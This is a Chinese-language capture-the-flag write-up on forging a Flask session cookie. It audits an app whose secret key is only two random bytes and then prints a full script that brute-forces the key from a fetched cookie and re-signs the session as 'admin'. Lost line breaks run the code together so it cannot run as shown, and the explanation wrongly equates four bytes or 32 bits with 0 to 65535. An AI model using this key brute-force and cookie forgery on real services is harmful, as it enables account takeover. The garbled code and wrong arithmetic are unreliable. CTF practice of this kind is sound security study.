[fakeadmin](session伪造&flask框架)
一,打开题目,发现源码
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from flask import Flask, session
import os
import randomapp = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
print(app.config['SECRET_KEY'])@app.route('/', methods=["GET", "POST"])
def read_me():src = open("app.py", 'rb').read()return src@app.route('/user')
def hello_world():if not session.get('user'):session['user'] = ''.join(random.choices("admin", k=5))return 'Hello {}!'.format(session['user'])@app.route('/admin')
def admin():if session.get('user') != "admin":return "Access Denied"else:flag = open("/flag", 'rb').read()return flagif __name__ == '__main__':app.run(host='0.0.0.0', port=80)
二,解题
1.代码审计
一、
os.urandom(2) #该函数生成2个字节长度的随机字符串
.hex() #将生产的字节串转换为十六进制表示的字符串,这样做的结果是一个4字符长度的字符串(每个字节串转换为2个十六进制字符假如os.urandom(2)生成的随机字节串是\x12\x34,那么.hex()方法将输出'1234' 。因此,app.config['SECRET_KEY']='1234' ; 其中\x12 表示十六进制的 12,即十进制的 18二、
/user路由
session['user']=''.join(random.choices("admin",k=5))的解释:random.choices用过'a','d','m','i','n'这5分字符随机组合生产一个随机字符串三、
本题的切入点就是,你的session.get('user')='admin',那么就可以得到flag
2.破解秘钥
由前面代码审计可知,os.urandom(2).hex()生成的秘钥就是4位的字符,直接爆破
爆破脚本:
import ast
import sys
import zlib
import requests
import warningswarnings.filterwarnings('ignore')from itsdangerous import base64_decode# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4from abc import ABCMeta
else: # > 3.4from abc import ABCfrom flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """while True:try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:# return "[Encoding error] {}".format(e)continueraise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else: # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """while True:try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:# return "[Encoding error] {}".format(e)continueraise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eurl = "http://20b239b7-4bf2-4d3b-8d34-e5f3e6e65cc2.gs.thudart.cn/" #change
source_session = requests.Session()
# r = source_session.get(url=url+"/user", verify=False)
# token = r.cookies['session']proxies1 = {'http': 'socks5h://localhost:8088','https': 'socks5h://localhost:8088',
}
r = source_session.get(url=url+"/user", verify=False)
token = r.cookies['session']sec = ""
for i in range(65535):tmp = hex(i)[2:].zfill(4)res = FSCM.decode(token, tmp)if "Decoding error" not in res:sec = tmpprint(sec)break
session = (FSCM.encode(sec, '{"user":"admin"}' ))
print(session)
脚本的大概原理:
先用requests.Session生成一个会话示例的session,并向靶机的/user地址发起一次请求来获得初始的session。此时的session应该是用后端秘钥SECRET_KEY对当前用户名加密后的值
因为4字节一共能表示2的32次方个数字,即0~65535,我们最多循环65536次即可。因为4个字节也就是32位,每一位有可能为1,有可能为0。
对于每个数字,获得它的字符形式的表示,作为秘钥尝试对token解密
最后将伪造的session放进bp里发包访问,得到flag